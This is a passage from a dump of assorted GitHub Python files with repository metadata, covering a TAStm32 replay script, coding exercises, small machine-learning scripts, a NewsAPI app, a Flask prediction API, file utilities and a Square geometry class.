TAStm32(serial_helper.select_serial_port())\n else:\n dev = TAStm32(args.serial)\n\n if args.clock != None:\n args.clock = int(args.clock)\n if args.clock < 0 or args.clock > 63:\n print('ERROR: The clock value must be in the range [0,63]! Exiting.')\n sys.exit(0)\n\n try:\n with open(args.movie, 'rb') as f:\n data = f.read()\n except:\n print('ERROR: the specified file (' + args.movie + ') failed to open')\n sys.exit(0)\n\n dev.reset()\n \n if args.relayreset:\n dev.enable_relay()\n \n if args.controller:\n dev.enable_controller()\n \n if args.hardreset or args.softreset or args.relayreset:\n dev.power_off()\n if args.hardreset or args.relayreset:\n time.sleep(2.0)\n \n run_id = dev.setup_run(args.console, args.players, args.dpcm, args.overread, args.clock)\n if run_id == None:\n raise RuntimeError('ERROR')\n sys.exit()\n if args.console == 'n64':\n buffer = m64.read_input(data, args.players)\n blankframe = b'\\x00\\x00\\x00\\x00' * len(args.players)\n elif args.console == 'snes':\n buffer = r16m.read_input(data, args.players)\n blankframe = b'\\x00\\x00' * len(args.players)\n elif args.console == 'nes':\n buffer = r08.read_input(data, args.players)\n blankframe = b'\\x00' * len(args.players)\n elif args.console == 'gc':\n buffer = dtm.read_input(data)\n blankframe = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' * len(args.players)\n elif args.console == 'genesis':\n buffer = rgen.read_input(data, args.players)\n blankframe = b'\\x00\\x00' * len(args.players)\n\n if args.melee:\n dev.write(b'M')\n\n # Transitions\n if args.transition != None:\n for transition in args.transition:\n dev.send_transition(run_id, *transition)\n # Send Blank Frames\n for blank in range(args.blank):\n data = run_id + blankframe\n dev.write(data)\n print(f'Sending Blank Latches: {args.blank}')\n fn = 0\n for latch in range(int_buffer-args.blank):\n try:\n data = run_id + buffer[fn]\n dev.write(data)\n if fn % 100 == 0:\n print(f'Sending Latch: {fn}')\n fn += 1\n except IndexError:\n pass\n err = dev.read(int_buffer)\n fn -= err.count(b'\\xB0')\n if err.count(b'\\xB0') != 0:\n print('Buffer Overflow x{}'.format(err.count(b'\\xB0')))\n # Latch trains\n if args.latchtrain != '':\n dev.send_latchtrain(run_id, args.latchtrain)\n\n run = RunObject(run_id, buffer, fn, blankframe)\n print('Main Loop Start')\n if not args.nobulk:\n dev.set_bulk_data_mode(run_id, b\"1\")\n dev.power_on()\n dev.main_loop(run)\n print('Exiting')\n dev.ser.close()\n sys.exit(0)\n\nif __name__ == '__main__':\n main()\n","repo_name":"Ownasaurus/TAStm32","sub_path":"python/tastm32.py","file_name":"tastm32.py","file_ext":"py","file_size_in_byte":15717,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"31"} +{"seq_id":"72149688728","text":"#Alphanumeric Restriction\ndef csAlphanumericRestriction(input_str):\n if input_str.isalpha() or input_str.isnumeric():\n return True\n else: \n return False\n \n#Opposite Reverse\ndef csOppositeReverse(txt):\n return txt[::-1].swapcase()\n\nprint(csOppositeReverse(\"DarKness\"))\n\n#Square All Digits\ndef csSquareAllDigits(n):\n words = list(str(n))\n result = []\n for word in words:\n squared = int(word) ** 2\n result.append(squared)\n final = \"\".join(map(str, result))\n return int(final)\n\n\nprint(csSquareAllDigits(8756))\n\n#School Years And Groups\ndef csSchoolYearsAndGroups(years, groups):\n result = []\n for year in range(1, years + 1):\n for group in range(0, groups):\n result.append(\"%d%s\" % (year, chr(group + ord(\"a\"))))\n return \", \".join(result)\n\nprint(csSchoolYearsAndGroups(7, 4))\n\n# Make it Jazzy\ndef csMakeItJazzy(chords):\n result = []\n for chord in chords:\n if chord.count(str(7)) == 1:\n result.append(chord)\n else:\n result.append(f\"{chord}7\")\n return result\n\nprint(csMakeItJazzy([\"G7\", \"F\", \"C\"]))","repo_name":"ajg7/cs_codesignal_answers","sub_path":"unit_1/python_basics.py","file_name":"python_basics.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10963257159","text":"#!/usr/bin/python\n\n\"\"\" \n This is the code to accompany the Lesson 2 (SVM) mini-project.\n\n Use a SVM to identify emails from the Enron corpus by their authors: \n Sara has label 0\n Chris has label 1\n\"\"\"\n \nimport sys\nfrom time import time\nsys.path.append(\"../tools/\")\nfrom tools.email_preprocess import preprocess\n\n\n### features_train and features_test are the features for the training\n### and testing datasets, respectively\n### labels_train and labels_test are the corresponding item labels\nfeatures_train, features_test, labels_train, labels_test = preprocess()\n\n\n\n\n#########################################################\n### your code goes here ###\n\n#########################################################\nfrom sklearn import svm\n\n# features_train = features_train[:int(len(features_train)/100)]\n# labels_train = labels_train[:int(len(labels_train)/100)]\n\n# clf = svm.SVC(kernel='rbf', C=10000)\n# t0 = time()\n# clf.fit(features_train, labels_train)\n# print('fit time:', round(time() - t0, 3), 's')\n#\n# t1 = time()\n# pred = clf.predict(features_test)\n# print('predict time:', round(time() - t1, 3), 's')\n# # print('predict result:', pred)\n#\n# chrisPred = [pred[ii] for ii in range(0, len(pred)) if pred[ii] == 1]\n# print('chris email num:', len(chrisPred))\n#\n# score = clf.score(features_test, labels_test)\n# print('score:', score)\n\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import classification_report\n\nparameters = {'kernel':['rbf'], 'C': [1, 100]}\nsvr = svm.SVC()\nclf = GridSearchCV(estimator=svr, param_grid=parameters, n_jobs=-1)\nt0 = time()\nclf.fit(features_train, labels_train)\nprint('best_params_:',clf.best_params_)\nprint('fit time:', round(time() - t0, 3), 's')\n\nmeans = clf.cv_results_['mean_test_score']\nstds = clf.cv_results_['std_test_score']\nfor mean, std, params in zip(means, stds, clf.cv_results_['params']):\n print(\"%0.3f (+/-%0.03f) for %r\"\n % (mean, std * 2, params))\n\nt1 = time()\ny_true, y_pred = labels_test, clf.predict(features_test)\nprint('predict time:', round(time() - t1, 3), 's')\nprint(classification_report(y_true, y_pred))\n\n\n","repo_name":"windfringe/ud120-projects-py3","sub_path":"svm/svm_author_id.py","file_name":"svm_author_id.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18084198086","text":"import os\nimport sys\n\ncurrent = os.path.dirname(os.path.realpath(__file__))\nsys.path.append(current)\n\nfrom theticketpost.application import Application\nfrom flask import render_template, request\nfrom loguru import logger\nimport json\nimport requests\nimport urllib.parse\nimport datetime\n\nclass App(Application):\n\n def __init__(self, desc):\n Application.__init__(self, __name__, __file__, desc)\n\n\n def parse_search_parameters(self, response):\n country = \"\"\n category = \"\"\n q = \"\"\n domains = \"\"\n language = \"\"\n sort_by = \"\"\n for element in response:\n if element[\"value\"]:\n if element[\"name\"] == \"country\":\n country = \"&country=\" + element[\"value\"]\n elif element[\"name\"] == \"category\":\n category = \"&category=\" + element[\"value\"]\n elif element[\"name\"] == \"q\":\n q = \"&q=\" + urllib.parse.quote(element[\"value\"])\n elif element[\"name\"] == \"domains\":\n domains = \"&domains=\" + element[\"value\"]\n elif element[\"name\"] == \"language\":\n language = \"&language=\" + element[\"value\"]\n elif element[\"name\"] == \"sort_by\":\n sort_by = \"&sortBy=\" + element[\"value\"]\n\n return {\"country\": country, \"category\": category, \"q\": q, \"domains\": domains, \"language\": language, \"sort_by\": sort_by}\n\n\n def get_headlines(self, json_search_parameters):\n response = self.get_configuration_json()\n json_object = json.loads(response.data)\n api_key = next((item for item in json_object if item[\"name\"] == \"api_key\"), None)\n\n timestamp = datetime.datetime.now() - datetime.timedelta(days=1)\n last24h = timestamp.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n\n search_parameters = self.parse_search_parameters(json_search_parameters)\n if search_parameters[\"domains\"]:\n url = \"https://newsapi.org/v2/everything?apiKey=%s&pageSize=5&from=%s%s%s%s%s\" % (api_key[\"value\"], last24h, search_parameters[\"q\"], search_parameters[\"domains\"], search_parameters[\"language\"], search_parameters[\"sort_by\"])\n else:\n url = \"https://newsapi.org/v2/top-headlines?apiKey=%s&pageSize=5&from=%s%s%s%s\" % (api_key[\"value\"], last24h, search_parameters[\"country\"], search_parameters[\"category\"], search_parameters[\"q\"])\n\n response = requests.get(url)\n data = json.loads(response.text)\n if data[\"status\"] != \"error\":\n for article in data[\"articles\"]:\n timestamp = datetime.datetime.strptime(article[\"publishedAt\"],\"%Y-%m-%dT%H:%M:%SZ\")\n article[\"publishedAt\"] = timestamp.strftime(\"%B %-d, %Y at %-I:%M %p %Z\")\n if not article[\"source\"][\"id\"]:\n article[\"source\"][\"id\"] = article[\"source\"][\"name\"]\n\n return data[\"articles\"]\n else:\n return []\n\n\n def render_component(self):\n content_type = request.headers.get('Content-Type')\n if (content_type == 'application/json'):\n response = request.json\n articles = self.get_headlines(response)\n print(articles)\n return render_template('newsapi/component.html', articles=articles)\n","repo_name":"theticketpost/theticketpost-apps","sub_path":"newsapi/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32503905510","text":"import numpy as np\nimport requests\nimport pickle\nfrom flask import Flask, request, jsonify\nfrom flask_cors import CORS, cross_origin\nfrom sklearn.preprocessing import RobustScaler\n\napp = Flask(__name__)\n\nCORS(app)\n\nmodel = pickle.load(open('../models/model.pkl', 'rb'))\nfamily_min= 1.0\nincome_min = 27000.0\ndemployed_min = 17.0\nage_min = 21.0\n\nfamily_max= 20.0\nincome_max = 1575000.0\ndemployed_max= 15713.0\nage_max = 69.0\n\nfeatures_col = ['NAME_INCOME_TYPE==Commercial associate', 'NAME_INCOME_TYPE==Pensioner',\n 'NAME_INCOME_TYPE==State servant', 'NAME_INCOME_TYPE==Student',\n 'NAME_INCOME_TYPE==Working', 'NAME_EDUCATION_TYPE==Academic degree',\n 'NAME_EDUCATION_TYPE==Higher education',\n 'NAME_EDUCATION_TYPE==Incomplete higher',\n 'NAME_EDUCATION_TYPE==Lower secondary',\n 'NAME_EDUCATION_TYPE==Secondary / secondary special',\n 'NAME_FAMILY_STATUS==Civil marriage', 'NAME_FAMILY_STATUS==Married',\n 'NAME_FAMILY_STATUS==Separated',\n 'NAME_FAMILY_STATUS==Single / not married', 'NAME_FAMILY_STATUS==Widow',\n 'NAME_HOUSING_TYPE==Co-op apartment',\n 'NAME_HOUSING_TYPE==House / apartment',\n 'NAME_HOUSING_TYPE==Municipal apartment',\n 'NAME_HOUSING_TYPE==Office apartment',\n 'NAME_HOUSING_TYPE==Rented apartment',\n 'NAME_HOUSING_TYPE==With parents', 'OCCUPATION_TYPE==Accountants',\n 'OCCUPATION_TYPE==Cleaning staff', 'OCCUPATION_TYPE==Cooking staff',\n 'OCCUPATION_TYPE==Core staff', 'OCCUPATION_TYPE==Drivers',\n 'OCCUPATION_TYPE==HR staff', 'OCCUPATION_TYPE==High skill tech staff',\n 'OCCUPATION_TYPE==IT staff', 'OCCUPATION_TYPE==Laborers',\n 'OCCUPATION_TYPE==Low-skill Laborers', 'OCCUPATION_TYPE==Managers',\n 'OCCUPATION_TYPE==Medicine staff', 'OCCUPATION_TYPE==Pensioner',\n 'OCCUPATION_TYPE==Private', 'OCCUPATION_TYPE==Private service staff',\n 'OCCUPATION_TYPE==Realty agents', 'OCCUPATION_TYPE==Sales staff',\n 'OCCUPATION_TYPE==Secretaries', 'OCCUPATION_TYPE==Security staff',\n 'OCCUPATION_TYPE==Waiters/barmen staff', 'AMT_INCOME_TOTAL',\n 'DAYS_EMPLOYED', 'CNT_FAM_MEMBERS', 'AGE', 'FLAG_OWN_REALTY1']\n\n\ndef predict_func(dic):\n features = [float(dic[feature]) for feature in features_col]\n final_features = [np.array(features)]\n prediction = model.predict(final_features)\n # print(str(prediction[0]))\n # print(type(str(prediction[0])))\n if str(prediction[0]) == '0':\n result = \"Good\"\n # print(\"here\")\n elif str(prediction[0]) == '1':\n result = \"Bad\"\n # print(\"bad here\")\n else:\n result = \"sus\"\n print(type(prediction))\n # print(dic['date'])\n return {'prediction': result}\n\n# # run the model to predict current, hourly forecast, daily forecast values\n\n@app.route(\"/predict\" , methods=['POST'])\n@cross_origin()\ndef process_form() :\n data = request.get_json()\n print(data)\n dic = {}\n dic['AGE'] = 0\n dic['NAME_FAMILY_STATUS==Civil marriage'] = 0\n dic['NAME_FAMILY_STATUS==Married'] = 0 \n dic['NAME_FAMILY_STATUS==Separated'] = 0\n dic['NAME_FAMILY_STATUS==Single / not married'] = 0\n dic['NAME_FAMILY_STATUS==Widow'] = 0\n\n dic['OCCUPATION_TYPE==Accountants'] = 0\n dic['OCCUPATION_TYPE==Cleaning staff'] = 0\n dic['OCCUPATION_TYPE==Cooking staff'] = 0\n dic['OCCUPATION_TYPE==Core staff'] = 0\n dic['OCCUPATION_TYPE==Drivers'] = 0\n dic['OCCUPATION_TYPE==HR staff'] = 0\n dic['OCCUPATION_TYPE==High skill tech staff'] = 0\n dic['OCCUPATION_TYPE==IT staff'] = 0\n dic['OCCUPATION_TYPE==Laborers'] = 0\n dic['OCCUPATION_TYPE==Low-skill Laborers'] = 0 \n dic['OCCUPATION_TYPE==Managers'] = 0\n dic['OCCUPATION_TYPE==Medicine staff'] = 0\n dic['OCCUPATION_TYPE==Pensioner'] = 0\n dic['OCCUPATION_TYPE==Private'] = 0\n dic['OCCUPATION_TYPE==Private service staff'] = 0\n dic['OCCUPATION_TYPE==Realty agents'] = 0\n dic['OCCUPATION_TYPE==Sales staff'] = 0\n dic['OCCUPATION_TYPE==Secretaries'] = 0\n dic['OCCUPATION_TYPE==Security staff'] = 0\n dic['OCCUPATION_TYPE==Waiters/barmen staff'] = 0\n\n dic['NAME_INCOME_TYPE==Commercial associate'] = 0 \n dic['NAME_INCOME_TYPE==Pensioner'] = 0\n dic['NAME_INCOME_TYPE==State servant'] = 0 \n dic['NAME_INCOME_TYPE==Student'] = 0\n dic['NAME_INCOME_TYPE==Working'] = 0 \n\n dic['NAME_EDUCATION_TYPE==Academic degree'] = 0\n dic['NAME_EDUCATION_TYPE==Higher education'] = 0\n dic['NAME_EDUCATION_TYPE==Incomplete higher'] = 0\n dic['NAME_EDUCATION_TYPE==Lower secondary'] = 0\n dic['NAME_EDUCATION_TYPE==Secondary / secondary special'] = 0\n\n dic['NAME_HOUSING_TYPE==Co-op apartment'] = 0\n dic['NAME_HOUSING_TYPE==House / apartment'] = 1\n dic['NAME_HOUSING_TYPE==Municipal apartment'] = 0\n dic['NAME_HOUSING_TYPE==Office apartment'] = 0\n dic['NAME_HOUSING_TYPE==Rented apartment'] = 0\n dic['NAME_HOUSING_TYPE==With parents'] = 0\n\n\n dic['DAYS_EMPLOYED'] = 0\n\n dic['FLAG_OWN_REALTY1'] = 0\n\n dic['AMT_INCOME_TOTAL'] = 0\n\n dic['CNT_FAM_MEMBERS'] = 0 \n\n\n for key in data.keys():\n if key == 'age':\n X = int(data[key])\n X_std = (X - age_min) / (age_max - age_min)\n X_scaled = X_std * (age_max - age_min) + age_min\n dic['AGE'] = X_scaled\n elif key == 'marriage':\n if data[key] == 'Civil Marriage':\n dic['NAME_FAMILY_STATUS==Civil marriage'] = 1\n elif data[key] == 'Married':\n dic['NAME_FAMILY_STATUS==Married'] = 1\n elif data[key] == 'Seperated':\n dic['NAME_FAMILY_STATUS==Separated'] = 1\n elif data[key] == 'Single / not married':\n dic['NAME_FAMILY_STATUS==Single / not married'] = 1\n else:\n dic['NAME_FAMILY_STATUS==Widow'] = 1\n elif key == 'housing':\n if data[key] == \"Academic degree\":\n dic['NAME_HOUSING_TYPE==Co-op apartment'] = 1\n elif data[key] == \"Higher education\":\n dic['NAME_HOUSING_TYPE==House / apartment'] = 1\n elif data[key] == \"Incomplete higher\":\n dic['NAME_HOUSING_TYPE==Municipal apartment'] = 1\n elif data[key] == \"Lower secondary\":\n dic['NAME_HOUSING_TYPE==Rented apartment'] = 1\n else:\n dic['NAME_HOUSING_TYPE==With parents'] = 1\n elif key == 'income_type':\n if data[key] == \"Commercial associate\":\n dic['NAME_INCOME_TYPE==Commercial associate'] = 1\n elif data[key] == \"Pensioner\":\n dic['NAME_INCOME_TYPE==Pensioner'] = 1\n elif data[key] == \"State servant\":\n dic['NAME_INCOME_TYPE==State servant'] = 1\n elif data[key] == \"Student\":\n dic['NAME_INCOME_TYPE==Student'] = 1\n else:\n dic['NAME_INCOME_TYPE==Working'] = 1\n elif key == 'occupation':\n if data[key] == 'Accountants':\n dic['OCCUPATION_TYPE==Accountants'] = 1\n elif data[key] == \"Cleaning staff\":\n dic['OCCUPATION_TYPE==Cleaning staff'] = 1\n elif data[key] == \"Cooking staff\":\n dic['OCCUPATION_TYPE==Cooking staff'] = 1\n elif data[key] == \"Core staff\":\n dic['OCCUPATION_TYPE==Core staff'] = 1\n elif data[key] == \"Drivers\":\n dic['OCCUPATION_TYPE==Drivers'] = 1\n elif data[key] == \"HR staff\":\n dic['OCCUPATION_TYPE==HR staff'] = 1\n elif data[key] == \"High skill tech staff\":\n dic['OCCUPATION_TYPE==High skill tech staff'] = 1\n elif data[key] == \"IT staff\":\n dic['OCCUPATION_TYPE==IT staff'] = 1\n elif data[key] == \"Laborers\":\n dic['OCCUPATION_TYPE==Laborers'] = 1\n elif data[key] == \"Managers\":\n dic['OCCUPATION_TYPE==Managers'] = 1\n elif data[key] == \"Medicine staff\":\n dic['OCCUPATION_TYPE==Medicine staff'] = 1\n elif data[key] == \"Pensioner\":\n dic['OCCUPATION_TYPE==Pensioner'] = 1\n elif data[key] == \"Private service staff\":\n dic['OCCUPATION_TYPE==Private service staff'] = 1\n elif data[key] == \"Realty agents\":\n dic['OCCUPATION_TYPE==Realty agents'] = 1\n elif data[key] == \"Sales staff\":\n dic['OCCUPATION_TYPE==Sales staff'] = 1\n elif data[key] == \"Secretaries\":\n dic['OCCUPATION_TYPE==Secretaries'] = 1\n elif data[key] == \"Security staff\":\n dic['OCCUPATION_TYPE==Security staff'] = 1\n elif data[key] == \"Waiters/barmen staff\":\n dic['OCCUPATION_TYPE==Waiters/barmen staff'] = 1\n else:\n dic['OCCUPATION_TYPE==Private'] = 1\n elif key == 'education':\n if data[key] == \"Academic degree\":\n dic['NAME_EDUCATION_TYPE==Academic degree'] = 1\n elif data[key] == \"Higher education\":\n dic['NAME_EDUCATION_TYPE==Higher education'] = 1\n elif data[key] == \"Incomplete higher\":\n dic['NAME_EDUCATION_TYPE==Incomplete higher'] = 1\n elif data[key] == \"Lower secondary\":\n dic['NAME_EDUCATION_TYPE==Lower secondary'] = 1\n else:\n dic['NAME_EDUCATION_TYPE==Secondary / secondary special'] = 1\n elif key == 'demployed':\n X = int(data[key])\n X_std = (X - demployed_min) / (demployed_max - demployed_min)\n X_scaled = X_std * (demployed_max - demployed_min) + demployed_min\n dic['DAYS_EMPLOYED'] = X_scaled\n elif key == 'realty':\n if data[key] == \"Y\":\n dic['FLAG_OWN_REALTY1'] = 1\n elif key == 'income':\n X = int(data[key])\n X_std = (X - income_min) / (income_max - income_min)\n X_scaled = X_std * (income_max - income_min) + income_min\n dic['AMT_INCOME_TOTAL'] = X_scaled\n else:\n X = int(data[key])\n X_std = (X - family_min) / (family_max - family_min)\n X_scaled = X_std * (family_max - family_min) + family_min\n dic['CNT_FAM_MEMBERS'] = X_scaled\n \n\n return jsonify(\n {\n \"code\": 200,\n \"data\": {\n \"result\": predict_func(dic)\n }\n }\n )\n # material = Materials(**data)\n # // for loop\n # put predict inside then return result\n # print(material)\n # try:\n # db.session.add(material)\n # db.session.commit()\n # return jsonify(\n # {\n # \"code\": 200,\n # \"message\": \"Course has been added successfully.\",\n # \"data\": [material.to_dict()]\n # }\n # ), 200\n # except SQLAlchemyError as e:\n # print(str(e))\n # db.session.rollback()\n # return jsonify({\n # \"code\": 500,\n # \"message\": \"Unable to add material to database.\"\n # }), 500\n #scale\n # return distcionary of the column key and the value is value\n\n\n\n\n# get the form\n# post the form\n\nif __name__ == \"__main__\":\n app.run(port=5001, debug=True)","repo_name":"JaspavanKaur/SayNoToDefaulters","sub_path":"Financial Analytics/api/model-api.py","file_name":"model-api.py","file_ext":"py","file_size_in_byte":11243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33860978152","text":"# directory.py\r\nimport os\r\nfrom datetime import datetime\r\n\r\nclass DirUtil:\r\n @staticmethod\r\n def dir(folder = \"\"):\r\n dirPath = os.path.expanduser('~') + \"\\\\oybproject\"\r\n if not DirUtil.makeFolder(dirPath):\r\n return \"\"\r\n \r\n dirPath += \"\\\\\"\r\n if folder:\r\n dirPath += folder\r\n if not os.path.exists(dirPath):\r\n #print(\"{0} create\".format(dirPath))\r\n os.makedirs(dirPath)\r\n dirPath += \"\\\\\"\r\n return dirPath\r\n \r\n @staticmethod\r\n def makeFolder(folderPath):\r\n try:\r\n if not os.path.exists(folderPath):\r\n os.makedirs(folderPath)\r\n return True\r\n except OSError:\r\n return False\r\n\r\nclass FileUtil:\r\n @staticmethod\r\n def makeName(extension):\r\n return datetime.now().strftime(\"%Y.%m.%d.%H.%M.%S\") + '.' + extension\r\n \r\n @staticmethod\r\n def remove(file):\r\n try:\r\n os.remove(file)\r\n except FileNotFoundError:\r\n pass\r\n \r\n @staticmethod\r\n def files(dir, exceptFile = \"\"):\r\n lst = []\r\n for file in os.listdir(dir):\r\n if (os.path.isfile(os.path.join(dir, file))):\r\n if file != exceptFile:\r\n lst.append(file)\r\n return lst\r\n \r\nif __name__ == \"__main__\":\r\n def main():\r\n #print(DirUtil.dir(\"aaa\"))\r\n #print(FileUtil.makeName(\"png\"))\r\n #result = FileUtil.files(\"C:\\\\Users\\\\donghoon.lee\\\\oybproject\\\\image\\\\\", \"2022.07.28.01.04.48.png\")\r\n #print(result)\r\n DirUtil.makeFolder(\"E:\\\\temp\\\\oybproject\\\\shared files\")\r\n \r\n main()","repo_name":"zmalin/oybproject","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2123169343","text":"import sys\n\nimport pandas as pd\nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.metrics import f1_score\nfrom sklearn.preprocessing import OneHotEncoder, StandardScaler\nfrom sklearn.tree import DecisionTreeClassifier\n\nNUM_COL_NAMES = ['godine', 'plata']\nCAT_COL_NAMES = ['rasa', 'tip_posla', 'zdravstveno_osiguranje']\n\n\ndef load_file_paths_from_cmd() -> (str, str):\n if len(sys.argv) > 2:\n train_directory_name = sys.argv[1]\n test_directory_name = sys.argv[2]\n return train_directory_name, test_directory_name\n return \"train.csv\", \"test_preview.csv\"\n\n\ndef read_data_form_file(filepath: str):\n return pd.read_csv(filepath)\n\n\ndef remove_outliers(train_df):\n train_df.dropna(thresh=5, inplace=True)\n conditions = ((train_df['godine'] < 20) & (train_df['obrazovanje'] != 'srednja skola')) | (train_df['godine'] < 10)\n return train_df[~conditions]\n\n\ndef preprocessing_dfs(train_df, test_df):\n num_col_imputer = SimpleImputer(strategy='mean')\n train_df[NUM_COL_NAMES] = num_col_imputer.fit_transform(train_df[NUM_COL_NAMES])\n test_df[NUM_COL_NAMES] = num_col_imputer.transform(test_df[NUM_COL_NAMES])\n\n cat_col_imputer = SimpleImputer(strategy='most_frequent')\n train_df[CAT_COL_NAMES] = cat_col_imputer.fit_transform(train_df[CAT_COL_NAMES])\n test_df[CAT_COL_NAMES] = cat_col_imputer.transform(test_df[CAT_COL_NAMES])\n\n train_df.dropna(inplace=True)\n return train_df, test_df\n\n\ndef get_X_and_Y_from_df(df):\n return df.drop(['bracni_status', 'obrazovanje'], axis=1), df['obrazovanje']\n\n\ndef transform_Xs(train_X, test_X):\n transformer = ColumnTransformer([\n ('cat', OneHotEncoder(), CAT_COL_NAMES),\n ('num', StandardScaler(), NUM_COL_NAMES)\n ])\n return transformer.fit_transform(train_X), transformer.transform(test_X)\n\n\ndef fit(X, Y):\n ada_clf = AdaBoostClassifier(\n base_estimator=DecisionTreeClassifier(max_depth=5),\n learning_rate=1.15,\n n_estimators=140,\n random_state=42\n )\n # params = {\n # 'learning_rate': [0.8, 0.9, 1, 1.1, 1.2],\n # 'n_estimators': [100, 150, 200]\n # }\n # svm_ensemble = GridSearchCV(ada_clf, params, scoring='f1_macro', n_jobs=-1)\n\n ada_clf.fit(X, Y)\n return ada_clf\n\n\ndef predict(model, X, Y):\n print(f1_score(Y, model.predict(X), average='macro'))\n\n\ndef main():\n train_fp, test_fp = load_file_paths_from_cmd()\n train_df = read_data_form_file(train_fp)\n test_df = read_data_form_file(test_fp)\n\n train_df = remove_outliers(train_df)\n\n train_df, test_df = preprocessing_dfs(train_df, test_df)\n\n train_X, train_Y = get_X_and_Y_from_df(train_df)\n test_X, test_Y = get_X_and_Y_from_df(test_df)\n\n train_X, test_X = transform_Xs(train_X, test_X)\n train_Y, test_Y = train_Y.values, test_Y.values\n\n model = fit(train_X, train_Y)\n predict(model, test_X, test_Y)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"sdjuric00/machine-learning-ftn","sub_path":"4-ensemble/ML23-Z4-tim6_23.py","file_name":"ML23-Z4-tim6_23.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36898399802","text":"from __future__ import absolute_import, division, print_function\n\nfrom tensorflow.python.pywrap_tensorflow import (\n QuantizeEmbeddingVariablesByName,\n RemoveVariablesByName,\n)\nfrom tensorflow.python.util import compat\n\n\ndef quantize_by_name(\n input_prefix, output_prefix, names, quant_names, scale_names, dtype, is_ev\n):\n \"\"\"Python wrapper for quantize embedding variable.\n\n Args:\n input_prefix: String. Prefix of input checkpoint.\n output_prefix: String. Prefix of output checkpoint.\n names: List of tensor names to be quantized.\n quant_names: List of quantized tensor names.\n scale_names: List of scale tensor names.\n dtype: tf.bfloat16 or tf.int8\n is_ev: Boolean. Whether variables are EmbeddingVariable.\n \"\"\"\n input_prefix = compat.as_bytes(input_prefix)\n output_prefix = compat.as_bytes(output_prefix)\n names_string = compat.as_bytes(\",\".join(names))\n quant_names_string = compat.as_bytes(\",\".join(quant_names))\n scale_names_string = compat.as_bytes(\",\".join(scale_names))\n QuantizeEmbeddingVariablesByName(\n input_prefix,\n output_prefix,\n names_string,\n quant_names_string,\n scale_names_string,\n dtype.as_datatype_enum,\n is_ev,\n )\n\n\ndef remove_variables_by_name(input_prefix, output_prefix, names):\n \"\"\"Python wrapper for remove variables.\n\n Args:\n input_prefix: String. Prefix of input checkpoint.\n output_prefix: String. Prefix of output checkpoint.\n names: List of tensor names to be removed.\n \"\"\"\n input_prefix = compat.as_bytes(input_prefix)\n output_prefix = compat.as_bytes(output_prefix)\n names_string = compat.as_bytes(\",\".join(names))\n RemoveVariablesByName(input_prefix, output_prefix, names_string)\n","repo_name":"DeepRec-AI/DeepRec","sub_path":"tensorflow/python/util/quantize_embedding_variable.py","file_name":"quantize_embedding_variable.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":895,"dataset":"github-code","pt":"31"} +{"seq_id":"26281878940","text":"\nclass TreeNode:\n \n def __init__(self,val):\n self.val = val\n self.left = None\n self.right = None\n\ndef inorder_traversal(root):\n if not root: return []\n return inorder_traversal(root.left) + [(root.val, id(root))] + inorder_traversal(root.right)\n\n\ndef deep_copy(root):\n \n if not root: return None\n\n left_copy = deep_copy(root.left)\n right_copy = deep_copy(root.right)\n\n new_root = TreeNode(root.val)\n new_root.left = left_copy\n new_root.right = right_copy\n\n return new_root\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n \n root = TreeNode(0)\n\n root.left = TreeNode(1)\n\n root.right = TreeNode(2)\n\n root.left.right = TreeNode(3)\n\n root.right.left = TreeNode(4)\n\n root.right.right = TreeNode(5)\n\n print(inorder_traversal(root))\n\n print(inorder_traversal(deep_copy(root)))\n","repo_name":"jw3329/leetcode-problem-solving","sub_path":"Interview Questions/Amazon/Onsite/Deep copy of a binary tree/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32369139122","text":"#!/usr/bin/python3\n\"\"\"\n square:\n - Module containing class 'Square'\n\"\"\"\nfrom models.rectangle import Rectangle\n\n\nclass Square(Rectangle):\n \"\"\"\n Square:\n - Class object creating a polygon of Square proportions\n - Inherits from Rectangle as Parent\n - Base is ancestor\n \"\"\"\n # question 10\n def __init__(self, size, x=0, y=0, id=None):\n super().__init__(size, size, x, y, id)\n\n # question 11\n @property\n def size(self):\n return (self.width)\n\n @size.setter\n def size(self, value):\n self.height = self.width = Rectangle.check_function(value, \"width\")\n\n # also question 10\n def __str__(self):\n \"\"\"\n str:\n - public method\n - overriding method\n - returns the object name and its dimensions\n \"\"\"\n return (\"[{}] ({}) {}/{} - {}\".format(\n Square.__name__, self.id, self.x, self.y, self.width,))\n\n # question 12\n def update(self, *args, **kwargs):\n \"\"\"\n update:\n - public method\n - Assigns arguments to the instance attributes\n @args: dynamic arguments\n \"\"\"\n\n if args:\n try:\n super().__init__(\n self.width, self.height, self.x, self.y, id=args[0])\n\n self.height = self.width = Rectangle.check_function(\n args[1], \"width\")\n self.x = Rectangle.check_function(args[2], \"x\")\n self.y = Rectangle.check_function(args[3], \"y\")\n except IndexError:\n return\n\n elif kwargs:\n for key in kwargs:\n if (key == 'id'):\n super().__init__(\n self.width, self.height,\n self.x, self.y, id=kwargs[key])\n elif (key == 'size'):\n self.width = self.height = Rectangle.check_function(\n kwargs[key], key)\n elif 